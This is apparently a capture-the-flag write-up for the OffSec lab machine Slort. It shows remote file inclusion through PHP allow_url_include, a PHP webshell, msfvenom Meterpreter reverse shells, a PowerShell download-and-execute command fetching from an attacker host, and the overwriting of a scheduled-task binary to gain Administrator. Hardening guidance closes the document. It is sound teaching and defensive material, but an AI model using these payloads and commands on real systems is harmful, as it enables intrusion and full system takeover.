Slort — RFI via PHP allow_url_include + Writable Scheduled Task Binary to Administrator | OffSec PG…
Slort is a Windows machine that chains a PHP remote file inclusion vulnerability with a world-writab 2026-6-18 06:49:7 Author: infosecwriteups.com(查看原文) 阅读量:2 收藏

Roshan Rajbanshi

Slort is a Windows machine that chains a PHP remote file inclusion vulnerability with a world-writable scheduled task binary to deliver a full Administrator session. The web server on port 8080 runs an XAMPP stack hosting a custom PHP application that passes the ?page= GET parameter directly into include() it with no sanitisation. With allow_url_include enabled — a dangerous PHP setting common in old XAMPP installations — pointing the parameter at an attacker-controlled URL causes the server to fetch and execute arbitrary PHP. That gets a Meterpreter shell as rupert. From there, standard automated enumeration turns up nothing. Manual filesystem exploration finds the answer: C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator. icacls confirms every authenticated user has full control over the binary. Replace it with a Meterpreter payload and wait for the scheduler to complete the chain.

Press enter or click to view image in full size

Attack Path: ffuf → /site/index.php?page= (RFI via allow_url_include) → Meterpreter as rupertC:\Backup\TFTP.EXE (world-writable, scheduled as Administrator) → Meterpreter as SLORT\Administrator

Platform: OffSec Proving Grounds Play
Machine: Slort
Difficulty: Intermediate
OS: Windows
Date: 20XX-XX-XX

Table of Contents

1. Reconnaissance
1.1 Nmap Port Scan — Fast Pass
1.2 Nmap Port Scan — Full Range
1.3 Dead-End Service Checks (FTP, SMB, MariaDB)
2. Web Enumeration
2.1 Directory Busting — Port 8080
2.2 Enumerating /site/
2.3 Identifying the File Inclusion Parameter
3. Initial Access — RFI via PHP allow_url_include
3.1 Confirming LFI via Path Traversal
3.2 Confirming RFI and Deploying a PHP Webshell
3.3 Upgrading to an Interactive Meterpreter Session
4. Post-Exploitation Enumeration
4.1 Token Privileges
4.2 Group Membership
4.3 Auto-Starting Services
4.4 Scheduled Tasks
4.5 Registry Run Keys
4.6 Manual Filesystem Exploration — C:\Backup
5. Privilege Escalation — Writable Scheduled Task Binary
5.1 Confirming Write Access with icacls
5.2 Generating the Replacement Payload
5.3 Overwriting TFTP.EXE
5.4 Catching the Administrator Session
6. Proof of Compromise
7. Vulnerability Summary
8. Defense & Mitigation
8.1 Remote File Inclusion — PHP allow_url_include Enabled
8.2 User Input Passed to include() Without Sanitisation
8.3 World-Writable Scheduled Task Binary

1. Reconnaissance

1.1 Nmap Port Scan — Fast Pass

nmap -Pn -sC -sV -F <TARGET_IP>

Results:

Port      State  Service   Version
-------- ----- -------- -------------------------------------------------
21/tcp open FTP FileZilla 0.9.41 beta
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios Microsoft Windows netbios-ssn
445/tcp open SMB Microsoft Windows SMB (signing not required)
3306/tcp open mysql MariaDB — unauthorized (local connections only)
8080/tcp open HTTP Apache 2.4.43, PHP 7.4.6, OpenSSL 1.1.1g (Win64 XAMPP)

The port 8080 finding is the most significant. XAMPP is a self-contained PHP development stack — the combination of Apache, PHP, MySQL, and sometimes phpMyAdmin — and old versions are known to ship with dangerous default settings, such as allow_url_include enabled. MariaDB is reachable on 3306, but the banner says "host not allowed", meaning it is accepting local connections only. SMB message signing is not required, which is noted for completeness. FTP is running a very old FileZilla beta — worth probing for anonymous login before moving on.

1.2 Nmap Port Scan — Full Range

nmap -Pn -p- --min-rate 5000 <TARGET_IP>

Additional ports found:

49665/tcp  open  msrpc
49666/tcp open msrpc

Both are ephemeral Windows RPC ports assigned dynamically at startup. They provide no additional attack surface here. The full scan confirms that the fast pass covered the meaningful services.

1.3 Dead-End Service Checks

Three quick checks before committing to the web server:

ftp <TARGET_IP>
# Username: anonymous
# Password: anonymous

Anonymous FTP login was rejected. FileZilla 0.9.41 beta is an old version, but anonymous access was not enabled on this instance.

smbclient -L //<TARGET_IP> -N
NT_STATUS_ACCESS_DENIED

Null session authentication is blocked. No SMB shares are enumerable without credentials.

mysql -h <TARGET_IP> -u root --password=''

Connection refused — MariaDB is bound to localhost only, consistent with the Nmap banner. XAMPP’s default MariaDB configuration does not expose the database externally, and that default was not changed here.

All three dead ends confirmed in under two minutes. Port 8080 is the target.

2. Web Enumeration

2.1 Directory Busting — Port 8080

ffuf -u http://<TARGET_IP>:8080/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403 -t 40

Results:

Path          Status  Notes
----------- ------ ----------------------------------------
/site 301 Custom application
/phpmyadmin 403 Installed but access restricted
/dashboard 301 Default XAMPP dashboard

Press enter or click to view image in full size

/site/ is the non-standard result. phpMyAdmin is present and blocked from external access — a useful note if credentials surface later. The XAMPP dashboard is the default content. Everything that matters is in /site/.

2.2 Enumerating /site/

ffuf -u http://<TARGET_IP>:8080/site/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403 -t 40

Results:

Path        Status  Size   Notes
---------- ------ ----- ------------------------------------------
admin.php 200 3998 Present
controllers 200 984 Application MVC structure
css 301 — Static assets
fonts 301 — Static assets
images 301 — Static assets
index.php 301 27 Tiny body — redirect script
js 301 — Static assets

Press enter or click to view image in full size

index.php returning a 301 with only 27 bytes in the response body is the key finding. That response size is consistent with a PHP script containing nothing but a header("Location: ...") redirect — the entire file is a single redirect, and it is almost certainly redirecting to itself with a ?page= parameter appended. That is the classic signature of a file inclusion handler.

2.3 Identifying the File Inclusion Parameter

curl -I http://<TARGET_IP>:8080/site/index.php

Response header:

HTTP/1.1 301 Moved Permanently
Location: index.php?page=main.php

Press enter or click to view image in full size

Confirmed. The application uses ?page= to determine which PHP file to include. The redirect destination is main.php, meaning the application's logic is to include whatever file is named in the page parameter. If that parameter is passed unsanitised into PHP's include(), it is a file inclusion vulnerability. The next step is confirming how far it can be pushed.

3. Initial Access — RFI via PHP allow_url_include

3.1 Confirming LFI via Path Traversal

curl "http://<TARGET_IP>:8080/site/index.php?page=../../../../windows/system32/drivers/etc/hosts"

Press enter or click to view image in full size

Output: The Windows hosts file content was returned verbatim in the response body.

LFI is confirmed. The application passes $_GET['page'] directly into include() with no path restriction and no input sanitisation. The web root sits at C:\xampp\htdocs\site\, so four levels of ../ traversal climb to the filesystem root, and the hosts file path resolves cleanly from there.

LFI alone enables arbitrary file reads — configuration files, credential stores, source code. The more powerful technique is RFI: if PHP’s allow_url_include directive is enabled, include() can fetch and execute code from a remote URL entirely under attacker control.

3.2 Confirming RFI and Deploying a PHP Webshell

Create a minimal PHP webshell locally:

echo '<?php system($_GET["cmd"]); ?>' > ~/cmd.php

Serve it over HTTP from the attacker's machine:

python3 -m http.server 8000

Trigger remote inclusion and confirm RCE:

curl "http://<TARGET_IP>:8080/site/index.php?page=http://<ATTACKER_IP>:8000/cmd.php&cmd=whoami"

Output:

slort\rupert

RFI confirmed. allow_url_include is enabled on this XAMPP installation. PHP fetched cmd.php from the attacker's machine, executed it as server-side code, and ran whoami via system(), and returned the result. Remote code execution as rupert is established.

💡 allow_url_include was deprecated in PHP 7.4 and removed in PHP 8.0. Its presence here on PHP 7.4.6 confirms this is an unmaintained, default XAMPP installation where the dangerous default was never corrected.

3.3 Upgrading to an Interactive Meterpreter Session

A webshell requires a separate HTTP request for every command and leaves a log entry for every action. An interactive reverse shell provides a persistent, stateful terminal session.

Generate a stageless Windows Meterpreter payload:

msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=<ATTACKER_IP> LPORT=4444 \
-f exe -o shell.exe

A stageless payload (meterpreter_reverse_tcp) embeds the full Meterpreter agent in a single executable. A staged payload (meterpreter/reverse_tcp) sends a small stager first, which then downloads the agent in a second connection. Stageless is more reliable — one connection, full functionality from the moment it lands. If the second connection of a staged payload is interrupted by a firewall or timing issue, the session is lost.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Serve the payload and set up the Metasploit handler:

# Metasploit handler
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4444
run

Deliver the payload via the webshell using a base64-encoded PowerShell command. Base64 encoding the entire PowerShell command with -enc sidesteps character escaping issues that arise when special characters — quotes, semicolons, dollar signs, pipes — must survive intact through URL encoding, PHP's system(), and PowerShell's own parser. A single base64 token collapses all of that complexity.

# Generate the base64-encoded download-and-execute command
powershell -c "IEX((New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/shell.exe'))"
# Base64-encode the above in UTF-16LE for PowerShell -enc

Trigger via the webshell:

curl "http://<TARGET_IP>:8080/site/index.php?page=http://<ATTACKER_IP>:8000/cmd.php&cmd=powershell+-enc+<BASE64_PAYLOAD>"

Meterpreter session received:

meterpreter > getuid
Server username: SLORT\rupert

Interactive session as rupert. Standard post-exploitation enumeration follows.

4. Post-Exploitation Enumeration

4.1 Token Privileges

whoami /priv

Only default low-privilege user rights are present. There is no SeImpersonatePrivilege, SeDebugPrivilege, or SeBackupPrivilege. The fast paths — PrintSpoofer, GodPotato, or token impersonation attacks — are not available here.

4.2 Group Membership

whoami /groups

rupert is a member of the standard user groups only: Everyone, Users, and Authenticated Users. No Administrators, Backup Operators, Remote Management Users, or Remote Desktop Users membership. No group-based escalation path.

4.3 Auto-Starting Services

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

Only VMware Tools services returned, all with properly quoted executable paths. No unquoted service path vulnerabilities, and no third-party service binaries to check for weak ACLs.

4.4 Scheduled Tasks

schtasks /query /fo LIST /v | findstr /i "task name\|run as\|status"

Only standard Windows system maintenance tasks. No custom tasks with writable executables or elevated execution contexts visible through automated enumeration.

4.5 Registry Run Keys

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Only VMware Tools and Windows Security Health entries in both keys. No custom or administrator-added run key entries.

4.6 Manual Filesystem Exploration — C:\Backup

Automated enumeration produced nothing. Manual exploration of non-standard directories is the next step — anything outside C:\Windows\ and C:\Program Files\ that an administrator created deliberately is worth reading.

dir C:\Backup
TFTP.EXE
info.txt
type C:\Backup\info.txt

Output:

Run every 5 minutes:
C:\Backup\TFTP.EXE -i <REMOTE_HOST> get backup.txt

A scheduled task invoking TFTP.EXE on a five-minute interval to pull a backup file from a remote host. Two questions determine whether this is exploitable: what account runs this task, and whether the binary is writable by rupert?

💡 Automated scripts follow predefined patterns. C:\Backup is not part of any default Windows installation — an administrator created it and placed files there deliberately. Non-standard directories created by administrators are consistently worth manual inspection.

5. Privilege Escalation — Writable Scheduled Task Binary

5.1 Confirming Write Access with icacls

icacls C:\Backup\TFTP.EXE

Output:

C:\Backup\TFTP.EXE  BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(F) — Every authenticated user on the system has inherited full control over this file. (F) means full control: read, write, execute, delete, and permission modification. (I) means the permission was inherited from the parent directory's ACL rather than set explicitly on the file itself. rupert is a member of BUILTIN\Users. The binary can be overwritten entirely.

The account that runs the scheduled task is Administrator. Replacing the binary with a Meterpreter payload means the next time the scheduler fires, it executes the payload as Administrator — a direct path to a privileged session.

5.2 Generating the Replacement Payload

msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=<ATTACKER_IP> LPORT=7777 \
-f exe -o tftp.exe

Port 7777 is used to keep this listener separate from the existing session on port 4444. The output file is named tftp.exe to match the original binary — while the filename does not affect execution, it keeps the operation clean and avoids any hypothetical filename-based integrity checks.

Set up a second Metasploit handler:

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 7777
run

5.3 Overwriting TFTP.EXE

From the existing rupert Meterpreter session, download the payload directly to the target path using PowerShell's DownloadFile method:

powershell -c "(New-Object Net.WebClient).DownloadFile('http://<ATTACKER_IP>:8000/tftp.exe','C:\Backup\TFTP.EXE')"

DownloadFile writes the file to an exact specified path, making it more reliable than certutil for overwriting an existing binary at a known location.

The overwrite succeeds. The original TFTP.EXE was not locked by any running process — it executes briefly when the scheduler fires and exits immediately. With no active file lock, the binary can be replaced cleanly between scheduler invocations.

5.4 Catching the Administrator Session

Wait for the five-minute scheduled task cycle to complete. The scheduler invokes C:\Backup\TFTP.EXE under the Administrator account. The payload executes and connects back to the second Meterpreter handler.

Session received:

meterpreter > getuid
Server username: SLORT\Administrator

Administrator.

6. Proof of Compromise

meterpreter > getuid
Server username: SLORT\Administrator

7. Vulnerability Summary

#   Vulnerability                                        Severity   Impact
-- --------------------------------------------------- --------- -----------------------------------------------
1 PHP allow_url_include enabled on XAMPP Critical Remote file inclusion enabling arbitrary RCE
2 User input passed to include() without sanitisation Critical LFI and RFI via ?page= parameter
3 TFTP.EXE world-writable by BUILTIN\Users Critical Scheduled task binary replaced — Admin session

8. Defense & Mitigation

8.1 Remote File Inclusion — PHP allow_url_include Enabled

Root Cause: PHP’s allow_url_include directive was enabled in the XAMPP php.ini configuration. This setting permits include() and require() to accept full URLs as arguments, causing PHP to fetch and execute remote files as server-side code. Combined with unsanitised user input in the page parameter, this enabled complete remote code execution.

Mitigations:

  • Disable allow_url_include immediately and permanently. There is no legitimate production use case for this setting that cannot be achieved safely through other means. Set it to Off in php.ini:
allow_url_include = Off
  • Restart Apache after the change:
# Linux
systemctl restart apache2
# Windows (XAMPP)
# Use the XAMPP Control Panel or: net stop Apache2.4 && net start Apache2.4
  • Disable allow_url_fopen as well, where external URL fetching is not required. This setting controls whether PHP's file functions can open remote URLs at all. Disabling it eliminates the underlying network fetch capability:
allow_url_fopen = Off
  • Keep PHP up to date. allow_url_include was deprecated in PHP 7.4 and removed entirely in PHP 8.0. Upgrading to a supported PHP 8.x release eliminates the setting as a risk entirely. Running PHP 7.4 on a XAMPP installation in a production or lab context is indefensible — it receives no security patches.
  • Harden XAMPP for any network-accessible deployment. XAMPP is a development stack. Its default configuration — allow_url_include on, phpMyAdmin accessible, MariaDB with no root password — is intentionally permissive for local development. Any XAMPP instance reachable from a network should be hardened against these defaults before use.

8.2 User Input Passed to include() Without Sanitisation

Root Cause: The index.php application passed $_GET['page'] directly into PHP's include() function. Any value — a relative path, an absolute path, or a full URL — was accepted and executed without validation, restriction, or sanitisation.

Mitigations:

  • Never pass user-controlled input directly to include(), require(), or any file system function. This is a fundamental PHP security principle. If dynamic page loading is a genuine application requirement, it must be implemented through a strict allowlist — only known, pre-approved values should ever reach a file inclusion call:
$allowed_pages = [
'home' => 'home.php',
'about' => 'about.php',
'store' => 'store.php',
];
$page = $allowed_pages[$_GET['page']] ?? 'home.php';
include($page);
  • Any value not in the $allowed_pages array silently falls back to the default. An attacker passing a path traversal sequence or a remote URL receives the home page — nothing executes, nothing is disclosed.
  • Set open_basedir in php.ini to restrict which directories PHP can access. Even if LFI is exploited, open_basedir confines file access to a specified directory tree and prevents reading files outside of it:
open_basedir = C:/xampp/htdocs/site/
  • Conduct a source code review for all include() and require() calls. Every call to these functions in the codebase should be audited. Any that accepts external input without allowlist validation is a vulnerability. This is a straightforward static analysis task that should be part of any application security review.
  • Use a Web Application Firewall as a compensating control. ModSecurity with the OWASP Core Rule Set detects path traversal sequences and remote URL patterns in parameters. It does not replace fixing the root cause, but it adds a meaningful detection and blocking layer.

8.3 World-Writable Scheduled Task Binary

Root Cause: C:\Backup\TFTP.EXE inherited (F) — full control — from the parent directory's ACL for BUILTIN\Users. Every authenticated user on the system could overwrite the binary. The scheduled task ran the binary as Administrator on a five-minute cycle. Any attacker with a low-privilege session could replace the binary and wait for the scheduler to provide an Administrator callback.

Mitigations:

  • Remove write permissions for BUILTIN\Users from any executable invoked by a privileged scheduled task or service. The binary should be readable and executable by the account running the task, and writable only by Administrators or SYSTEM. Correct the ACL immediately:
icacls C:\Backup\TFTP.EXE /remove:g "BUILTIN\Users"
icacls C:\Backup\TFTP.EXE /grant:r "BUILTIN\Users:(RX)"
icacls C:\Backup\TFTP.EXE /grant:r "NT AUTHORITY\SYSTEM:(F)"
icacls C:\Backup\TFTP.EXE /grant:r "BUILTIN\Administrators:(F)"
  • Apply the principle of least privilege to all scheduled task executables and service binaries. The rule is simple: an account that does not need to modify a binary must not have write access to it, regardless of what inherited permissions the parent directory grants. Audit all scheduled tasks and services regularly:
icacls C:\Path\To\TaskExecutable.exe
  • Any result showing (F), (M), or (W) for BUILTIN\Users, Everyone, or Authenticated Users is a critical finding.
  • Review the ACL of the parent directory, not just the binary. The inherited permissions here originated from C:\Backup\ itself. Fixing the directory ACL prevents future executables placed there from inheriting the same dangerous permissions:
icacls C:\Backup /inheritance:r
icacls C:\Backup /grant:r "NT AUTHORITY\SYSTEM:(OI)(CI)(F)"
icacls C:\Backup /grant:r "BUILTIN\Administrators:(OI)(CI)(F)"
  • Store scheduled task executables in root-owned, permission-restricted directories. System utilities and automation scripts used by privileged tasks belong in C:\Windows\System32\, C:\Program Files\, or a custom directory with a deliberately hardened ACL — not in a general-purpose directory like C:\Backup\ where default permissions may be overly permissive.
  • Log and alert on modifications to scheduled task executables. Windows Event ID 4663 (file accessed) and 4670 (permissions changed) can be monitored via Windows Security Auditing or a SIEM. Any write to an executable invoked by a privileged scheduled task should generate an immediate alert:
auditpol /set /subcategory:"File System" /success:enable /failure:enable
  • Apply File Integrity Monitoring to critical executables. Tools such as OSSEC, Wazuh, or Tripwire can monitor specified files for modification and alert in real time. C:\Backup\TFTP.EXE being overwritten between scheduler invocations would have generated an immediate alert with FIM in place.

OffSec PG Play — for educational purposes only.


文章来源: https://infosecwriteups.com/slort-rfi-via-php-allow-url-include-writable-scheduled-task-binary-to-administrator-offsec-pg-ac72c40761ae?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh